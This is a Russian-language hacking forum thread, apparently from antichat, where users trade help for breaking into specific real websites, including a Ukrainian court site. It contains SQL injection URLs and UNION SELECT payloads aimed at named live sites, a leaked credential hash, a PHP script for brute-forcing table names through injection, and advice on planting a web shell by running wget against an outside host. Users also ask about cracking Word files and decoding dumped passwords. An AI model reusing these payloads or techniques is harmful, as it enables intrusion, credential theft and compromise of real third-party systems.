Ваши вопросы по уязвимостям.

http://www.titan2.ru/press/?page=1&id=-107' это скуль..
http://www.titan2.ru/press/?page=1&id=-107+order+by+1/* а вот это ?

извините если такой вопрос уже был

 

Gorev, http://dev.mysql.com/doc/

http://www.citforum.ru/howto/smart-questions-ru.shtml

 

я попробовал язык поменять и айди параметр в конце сделать, кароче вот:

http://www.titan2.ru/press/?page=1&lang=en&id=

а вот что-то дальше никак не получается((

 

lastsmile

6 колонок, вывода нет, фильтр /*

 

Помогите раскрутить
Них не выходит

Вищий Господарський Суд України

http://arbitr.gov.ua/news.php?lang=ukr&sub_section=1&news_id=129'

 

столкнулся с такой проблемой
admin:43e9a4ab75570f5b

 

Gorev, у вас пробелмы? www.narko-net.ru

 

admin:admin
Чё тут за проблема-то?

 

admin:admin
Чё тут за проблема-то?
43e9a4ab75570f5b eto je ne MD5?
P.S. ne podhodit pass admin admin

 

Это Mysql !
Пасс от баззыданных скорее всего а не от админки!

 

Помоему 3 ветка, и union'а соответственно нет.Т е подзапросы:
_http://www.titan2.ru/press/?page=1&id=106+and+substring(version(),1,1)=3
_http://www.titan2.ru/press/?menu=199&page=1&id=107+and+substring(version(),1,1)=3

 

Люди, а есть у кого пхпкод подбора столбцов и колонок в Mysql????? Выложите плз...

 

На100ящий
В избранном прога от SQLHACK
https://forum.antichat.ru/thread24918.html

Gorev
http://www.titan2.ru
version() - 3.23.57
user() - titan@localhost

Ловить тебе там имхо нечего

 

Почему нечего? Угадывать и ещё раз угадывать:Р.

 

nu eto esli v printzip postavit' poimet' site..

 

Basurman,
Она правильно не определяет, нужен простой код пхп...сам писал и не получилось что то.... мож кто подскажет где ошибка???
<?
@set_time_limit(0);
$strverno=file_get_contents("site/index.php?id=1+UNION+SELECT+1,2,3,4,5,6,7,8,9+from+pro.users+limit+1,1/*");
preg_match_all("/<a href=\"(.+)\">(.+)<\/a>/isU",$strverno,$m);
foreach($m[2] as $s){
}
$fd = fopen("kol.txt", "r");
while(!feof($fd)) {
$ma=trim(fgets($fd));
$str=file_get_contents("site/index.php?id=1+UNION+SELECT+1,2,3,4,5,6,7,8,9+from+pro.".$ma."+limit+1,1/*");
preg_match_all("/<a href=\"(.+)\">(.+)<\/a>/isU",$str,$p);
foreach($p[2] as $k){
}

if($s==$k){
echo "ok, exist";

}
else {
echo "error";

}
}
fclose($fd);
?>

 

Скажите плиз какзалить шелл имеется доступ к cmd серверн на linux'e , какой запрос составить чтоб закачать шелл http://www.site.com/news.php?cmd=команда для заливки шелла.
За ранее блогадарен

 

1)путь = pwd
2)wget /Pпуть http://site.com/shell.txt

 

Люди скажите плиз прогу или как вопше мона взломать вордовский фаил!? плиз очень надо! и если прога то дайте ссылку!Плз

 

Если при вводе запроса
forum=-1+UNION+SELECT+1,CONCAT_WS(char(58),name,pass),3,4+FROM+users+WHERE+name+NOT+IN+(0x74657374)/*

выдает

?????????:123456789
то с помощью какой функции можно преобразовать ??????
плиз